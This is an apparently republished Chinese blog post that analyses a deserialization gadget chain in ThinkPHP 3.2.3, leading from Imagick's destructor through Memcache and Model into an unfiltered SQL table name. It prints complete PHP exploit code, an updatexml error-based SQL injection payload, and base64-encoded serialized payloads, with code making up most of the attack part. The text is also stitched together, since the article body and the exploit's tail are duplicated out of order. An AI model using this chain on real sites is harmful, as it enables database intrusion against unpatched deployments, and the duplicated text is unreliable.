脚本宝典收集整理的这篇文章主要介绍了ThinkPHP3.2.3反序列化链子分析,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
MAMP pro
PhpStorm
Xdebug
具备反序列化入口
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php
中新建以下内容:
<?phpnamespace HomeController;use ThinkController;class HelloController extends Controller{ public function index($Lxxx){ echo base64_decode($Lxxx); $a = unserialize(base64_decode($Lxxx)); }}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()
魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:
例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()
可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
文件中,找到具有可控变量的析构函数方法:
如果我们对img
属性赋一个对象,那么它会调用destroy()
方法,这时,我们全局搜索具有destroy()
方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:
在ThinkPHP/Library/Think/Model.class.php
中,destroy()
方法有两个可控参数,调用的是delete
方法,同样,类可控,delete
方法的参数看似可控,其实不可控,因为下方全局搜索后,delete
方法需要的参数大多数都为array
形式,而上方传入的是$this->sessionName.$sessID
,即使$this->sesionName
设置为数组array
,但是$sessID
如果为空值,在PHP中,用.
连接符连接,得到的结果为字符串array
。
<?php$a = array("123"=>"123");var_dump($a."");?>string(5) "Array"
接下来全局搜索delete
方法
如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete
方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo
一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。
前面一共涉及到三个类,我们在Model.class.php
中打印一个值,构造这三个类序列化字符串如下:
<?phpnamespace ThinkImageDriver{ use ThinkSessionDriverMemcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } }}namespace ThinkSessionDriver{ use ThinkModel; class Memcache{ protected $handle = null; public function __construct(){ $this->handle = new Model(); } }}namespace Think{ class Model{ }}namespace{ $a = new ThinkImageDriverImagick(); echo base64_encode(serialize($a));}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx
被成功的打印了出来
也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php
中,$this->data
可控,我们期望进入下方的return
语句中,因为此时如果我们对$this->data
传入,则该方法的option
参数变相可控
接着看这个方法,往下看,看看是否有可控的点
上方红框的位置$this->db
我们可控,delete
方法也可控,option
值上面说了,变相可控
那么我们就可以继续搜索delete
方法,注意,这个时候搜索delete
方法和上面就不一样的了,之前delete
方法参数不可控,此时可控了。
在ThinkPHP/Library/Think/Db/Driver.class.php
文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql
语句可能存在注入
这里直接对table
进行拼接,上方有一个parseTable
方法,跟进看一下,看看是否存在过滤。
可以看到,这里parseTable
方法只是调用了parseKey
方法,再跟进parseKey
方法
parseKey
方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql
的地方了,在执行之前可以将sql
打印出来,方便调试
这么一来就可以构造链子了
<?phpnamespace ThinkImageDriver{ use ThinkSessionDriverMemcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } }}namespace ThinkSessionDriver{ use ThinkModel; class Memcache{ protected $handle = null; public function __construct(){ $this->handle = new Model(); } }}namespace Think{ use ThinkDbDriverMysql; class Model{ protected $pk; protected $db; protected $data = array(); public function __construct(){ $this->db = new Mysql(); $this->pk = "id"; $this->data[$this->pk] = array( "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#", "where" => "1=1" ); } }}namespace ThinkDbDriver{ class Mysql{ protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "127.0.0.1", "hostport" => "8889", "charset" => "utf8", "username" => "root", "password" => "root" );
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
MAMP pro
PhpStorm
Xdebug
具备反序列化入口
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php
中新建以下内容:
<?phpnamespace HomeController;use ThinkController;class HelloController extends Controller{ public function index($Lxxx){ echo base64_decode($Lxxx); $a = unserialize(base64_decode($Lxxx)); }}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()
魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:
例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()
可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
文件中,找到具有可控变量的析构函数方法:
如果我们对img
属性赋一个对象,那么它会调用destroy()
方法,这时,我们全局搜索具有destroy()
方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:
在ThinkPHP/Library/Think/Model.class.php
中,destroy()
方法有两个可控参数,调用的是delete
方法,同样,类可控,delete
方法的参数看似可控,其实不可控,因为下方全局搜索后,delete
方法需要的参数大多数都为array
形式,而上方传入的是$this->sessionName.$sessID
,即使$this->sesionName
设置为数组array
,但是$sessID
如果为空值,在PHP中,用.
连接符连接,得到的结果为字符串array
。
<?php$a = array("123"=>"123");var_dump($a."");?>string(5) "Array"
接下来全局搜索delete
方法
如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete
方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo
一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。
前面一共涉及到三个类,我们在Model.class.php
中打印一个值,构造这三个类序列化字符串如下:
<?phpnamespace ThinkImageDriver{ use ThinkSessionDriverMemcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } }}namespace ThinkSessionDriver{ use ThinkModel; class Memcache{ protected $handle = null; public function __construct(){ $this->handle = new Model(); } }}namespace Think{ class Model{ }}namespace{ $a = new ThinkImageDriverImagick(); echo base64_encode(serialize($a));}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx
被成功的打印了出来
也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php
中,$this->data
可控,我们期望进入下方的return
语句中,因为此时如果我们对$this->data
传入,则该方法的option
参数变相可控
接着看这个方法,往下看,看看是否有可控的点
上方红框的位置$this->db
我们可控,delete
方法也可控,option
值上面说了,变相可控
那么我们就可以继续搜索delete
方法,注意,这个时候搜索delete
方法和上面就不一样的了,之前delete
方法参数不可控,此时可控了。
在ThinkPHP/Library/Think/Db/Driver.class.php
文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql
语句可能存在注入
这里直接对table
进行拼接,上方有一个parseTable
方法,跟进看一下,看看是否存在过滤。
可以看到,这里parseTable
方法只是调用了parseKey
方法,再跟进parseKey
方法
parseKey
方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql
的地方了,在执行之前可以将sql
打印出来,方便调试
这么一来就可以构造链子了
<?phpnamespace ThinkImageDriver{ use ThinkSessionDriverMemcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } }}namespace ThinkSessionDriver{ use ThinkModel; class Memcache{ protected $handle = null; public function __construct(){ $this->handle = new Model(); } }}namespace Think{ use ThinkDbDriverMysql; class Model{ protected $pk; protected $db; protected $data = array(); public function __construct(){ $this->db = new Mysql(); $this->pk = "id"; $this->data[$this->pk] = array( "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#", "where" => "1=1" ); } }}namespace ThinkDbDriver{ class Mysql{ protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "127.0.0.1", "hostport" => "8889", "charset" => "utf8", "username" => "root", "password" => "root" ); }}namespace{ $a = new ThinkImageDriverImagick(); echo base64_encode(serialize($a));}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0
后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>
}}namespace{ $a = new ThinkImageDriverImagick(); echo base64_encode(serialize($a));}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0
后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>
以上是脚本宝典为你收集整理的ThinkPHP3.2.3反序列化链子分析全部内容,希望文章能够帮你解决ThinkPHP3.2.3反序列化链子分析所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。